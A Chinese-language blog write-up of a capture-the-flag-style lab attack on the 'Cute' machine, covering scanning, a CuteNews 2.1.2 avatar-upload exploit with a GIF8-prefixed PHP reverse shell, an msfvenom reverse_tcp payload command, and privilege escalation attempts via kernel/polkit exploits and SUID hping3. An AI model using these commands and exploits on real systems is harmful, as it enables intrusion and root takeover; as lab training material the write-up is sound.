zl程序教程

您现在的位置是:首页 >  其他

当前栏目

实战打靶集锦-011-bbs-cute

2023-04-18 16:50:05 时间

提示:本文记录了博主一次失败的打靶经历。


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
65.2是我们打靶网段的网关,kali主机地址是65.202,锁定目标靶机地址为192.168.65.212。

2. 端口扫描

通过下面的命令对靶机进行全端口扫描。

$ sudo nmap -p- 192.168.65.212

在这里插入图片描述
看上去主机上开发的端口还不少,有ssh、web、kerberos以及邮件服务。

3. 服务枚举

通过下面的命令枚举一下扫描出的端口上都跑了哪些服务。

$ sudo nmap -p22,80,88,110,995 -A -sT -sV 192.168.65.212

在这里插入图片描述
枚举到了对应服务的具体版本信息,接下来需要逐个探查。

4. 服务探查

4.1 Apache服务探查

先通过浏览器访问一下。
在这里插入图片描述
又是apache的默认页面,直接进行目录枚举。

$ dirsearch -u http://192.168.65.212 

在这里插入图片描述

再用dirb挂载big字典再试试。

$ dirb http://192.168.65.212 /usr/share/dirb/wordlists/big.txt -r

在这里插入图片描述
通过birb并没有特殊的发现,我们手工逐个看看目录下都有些啥。这里我们有两个发现值得注意,其中一个是CuteNews的管理台登录页面,并且我们获得了CuteNew的版本是2.1.2。
在这里插入图片描述
有进行管理用户爆破或者定向EXP攻击的可能性。另外就是发现了CuteNews的一个搜索页面,这可能会发生SQL注入。
在这里插入图片描述
下面我们分别尝试一下。

4.1.1 CuteNews控制台

先用不同的用户名密码登录一下试试看。
在这里插入图片描述
嗯,cookie是一样的,不过对于不同的用户名密码的反馈是一样的,这样的话,在爆破之前还需要枚举用户。
既然登录页面,有注册用户的链接,我们尝试注册一个用户试试看,竟然成功了,并且自动登录了。
在这里插入图片描述
并且在Personal options下面还可以继续编辑个人信息,有个avarta上传的入口,看看能不能上传带有反弹shell的php脚本吧。
在这里插入图片描述
带上传的带有反弹shell的php脚本如下。
在这里插入图片描述
选择文件保存结果试试看。
在这里插入图片描述
看来我想的有些天真了。接下来用msfvenom生成反弹shell的elf文件再上传试试看。

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.65.202 LPORT=4444 -f elf > shell.elf

在这里插入图片描述
上传并尝试保存。
在这里插入图片描述
同样的错误,暂时放弃。接下来尝试通过面找回功能看是否可以覆盖admin密码。
在这里插入图片描述
这个也是不行的,user字段只能填写邮箱,不能填写用户名,所以也是搞不定的。
在这里插入图片描述
接下来先搜索一下公共EXP试试看。
在这里插入图片描述
额,四个EXP全部命中啊,尤其是第一个,感觉就是利用的我们前面说的个人信息编辑的那个avatar上传的功能,弄下来逐个看看再说。

4.1.1.1 EXP 46698

在这里插入图片描述
这个提示要用Metasploit,先修改一下EXP中的用户名密码手动运行一下试试看。
在这里插入图片描述
嗯,不行,还是得用Metasploit。
在这里插入图片描述
在这里插入图片描述
一直找不到这个模块,将最新的exp下载下来(https://pentest.com.tr/exploits/cutenews_avatar_rce.rb),然后通过下面的命令放到指定的metasploit目录下。

$ sudo cp ~/Downloads/cutenews_avatar_rce.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp

重新进入一下msfconsole。

msf6 > use exploit/unix/webapp/cutenews_avatar_rce
msf6 exploit(unix/webapp/cutenews_avatar_rce) > set rhosts 192.168.65.212
msf6 exploit(unix/webapp/cutenews_avatar_rce) > show options

其它先用默认的(默认里面用的用户名密码是admin/admin,我之前手动登录是失败的),直接run一下试试看。
在这里插入图片描述
修改成我们创建的用户名密码试试看。
在这里插入图片描述
还是同样的错误,不应该啊,EXP里面明确显示了是适合2.1.2版本的。通过仔细查看,发现默认的TARGETURI是/CuteNews,实际上我们这里的登录页面是/index.php,修改一下TARGETURI再试一下。
在这里插入图片描述
这次OK了,再run一下。
在这里插入图片描述
这次不报错了,但是反弹shell没有建立起来。之前都是自动建立的,莫非这个需要手工建立?先手工建立监听,再运行一下看看。
在这里插入图片描述
貌似不是这个原因,暂时放一边。

4.1.1.2 EXP 48447

在这里插入图片描述
看了一下代码,这是一个任意文件删除的漏洞,跟我们构建反弹shell的初衷不太一样,直接跳过。

4.1.1.3 EXP 48458

这个漏洞的原理貌似还是绕过文件上传的检测,上传带有php反弹shell的文件。先试一下最后一个,不行的话,返回来跟第一个一起研究。

4.1.1.4 EXP 48800

在这里插入图片描述
这个貌似也是大同小异啊,在payload的前面插入了GIF8,让服务器解析的时候认为是个图片文件,其实这里是一个带有反弹shell的php文件。我们试一下看看。
在这里插入图片描述
如上图所示,将EXP中的payload修改一下,改成我们需要的反弹shell。然后把代码中的url中的“/CuteNews”都给去掉,然后运行一下试试看。
在这里插入图片描述
貌似这样就结束了,后面不管怎么运行命令都是没有反应的。我们直接去uploads目录下,发现是空的,看来还是有些问题,直接访问一下我们上传的php试试看。
在这里插入图片描述
嗯,说明是上传了,可能还是我们构建的php有些问题,直接手工构建一个试试看。下载网上的php反弹shell(https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)。然后修改文件,在前面添加上“GIF8;”,如下图所示。
在这里插入图片描述
手工用刚才执行python的exp时创建的账号上传(或者用其它账号也是一样的,比如前面我们手工创建的hello/hello)到avarta的位置。
在这里插入图片描述
这次直接上传成功了,看来CuteNews只检查文件头。然后我们在kali上开启监听,然后在浏览器上访问一下上传的php。
在这里插入图片描述
回来查看我们的反弹shell,发现已经建立反弹shell。
在这里插入图片描述
看来我一开始找到的位置是正确的,只是构造的反弹shell太粗陋了,直接被CuteNews给拦截了。既然已经突破边界,其它的诸如pop3d、nginx就先不去探查了。

5. 提权

5.1 弱密码提权

吸取教训,先试试弱密码。
在这里插入图片描述
看来密码不太弱。

5.2 系统信息枚举

在这里插入图片描述
嗯,这是64位的debian10,内核版本应该是4.19。

5.3 查看/etc/passwd

在这里插入图片描述
这里面除了root之外,貌似只有fox用户有正常的shell权限,其它的大部分都是nologin,另外我们还发现了mysql用户。

5.4 查看可执行文件

先查看一下具备suid的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
貌似没有可以直接利用的带有特殊权限的二进制文件。
接下来你搜索一下root用户所有、其它用户可读可写可执行的文件。

$ find / -type f -user root -perm -o=w 2>/dev/null

这里没有什么特殊发现,都是/proc和/sys/fs下面的内容。既然前面找到sudo命令是有suid权限的,直接用sudo -l试试看。
在这里插入图片描述
貌似当前用户可以直接运行hping3,并且是root权限,不用密码。可惜不知道这个hping3怎么用,搜索了一下,发现是个面向命令行的用于生成和解析TCP/IP协议数据包汇编分析的开源工具。TCP/IP协议数据包解析,貌似跟我们提权关系不大啊。google一下看看。

在这里插入图片描述
貌似还真有,直接用第一个文章里面的方法。
在这里插入图片描述
貌似当前用户不在sudo组里面,看来这种方法搞不定。

5.5 枚举定时任务

在这里插入图片描述

5.6 查看用户目录

先cd到当前用户的家目录看看。
在这里插入图片描述
额,竟然没法ce到当前用户的家目录,那直接cd到/home下看看有些啥吧。
在这里插入图片描述
只在fox用户的home下发现了一个来说普通用户级flag或者是一个md5串的东西,其它的都没有权限。接下来我们去www目录下找找看。先看看www目录在哪里。
在这里插入图片描述
只有html目录有内容。
在这里插入图片描述
内容还是比较多的,我们逐个看一下。
在这里插入图片描述
上面这个conf.php比较可疑,在尖括号外面有一长串的内容,感觉像是base64编码过的,解开看看(echo “” | base64 -d)再说。
在这里插入图片描述
确实只是个配置文件。继续探查,在接下来的/var/www/html/cdata/users/目录下有很多数字编号的文件,如下图。
在这里插入图片描述
貌似记录了一些用户的操作,内容如下。
在这里插入图片描述
这个串貌似是base64编码过的,解开看看。
在这里插入图片描述
都是类似上述的内容,并没有实质性的发现。

5.7 linpeas提权

没有其它的招数了,直接上大杀器,linpeas。
找到一个highly probable的本地提权漏洞。就用这个漏洞的EXP试试看。

$ wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c

代码也看不懂,直接按照代码中的步骤试一下看看。
在这里插入图片描述
发现该exp在目标靶机上是没法编译的。
在这里插入图片描述
先在kali上编译好再上传靶机,运行会失败,缺少GLIBC_2.33。
在这里插入图片描述
下载debian 9.4.0的64位版本,在本地安装VM虚拟机,然后在虚拟机里面编译($ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root),将编译后的文件上传到目标靶机上执行。
在这里插入图片描述
这次没有报错,可惜缺少Polkit agent以及XDG_SESSION_ID环境变量,可能是这个漏洞打上补丁了,或者没有运行有漏洞的服务,无法实现提权,在debian上确实是可以正常提权的,如下图。
在这里插入图片描述
既然这样,试试通过CVE-2021-4034提取,同样下载exp(git clone https://github.com/berdav/CVE-2021-4034.git),在本地的debian虚拟机环境上编译一下,并尝试提权,如下图。
在这里插入图片描述
是可以提权成功的,尝试把编译好的文件上传到目标靶机试试看。
在这里插入图片描述
嗯,也是失败的,这个报错信息是漏洞修复后进行提权的报错信息。
接下来试试CVE-2022-2588。
在这里插入图片描述
也没法利用,感觉我要放弃了,还是上网搜一下大家怎么提权的吧。

5.8 hping3提权

发现大家还是用hping3提权的,据说直接运行hping3就可以提权,试试看。
在这里插入图片描述
貌似真的提权成功了,再看看flag之类的。
在这里插入图片描述
确实是提权成功了。
网上还有人用hping3命令把靶机root用户下面的id_rsa下载到本地,但是这个方法我这里一直不成功,报如下的错误。
在这里插入图片描述
这是目前经历的最艰难的一次提权。

6. 补充说明

后来上网搜索了一下,貌似是说如果二进制文件设置了SUID位,则拷贝文件不会删除提升的权限,并且可能被滥用以访问文件系统、升级或维护SUID后门的特权访问。如果它用于运行sh-p,则在Debian(<=Stretch)等允许默认sh shell以SUID权限运行的系统上,可以省略-p参数。最主要是可以省略-p参数,所以前面我们是可以直接运行hping3进行提权。(只是我的瞎猜,可能我本身就理解错了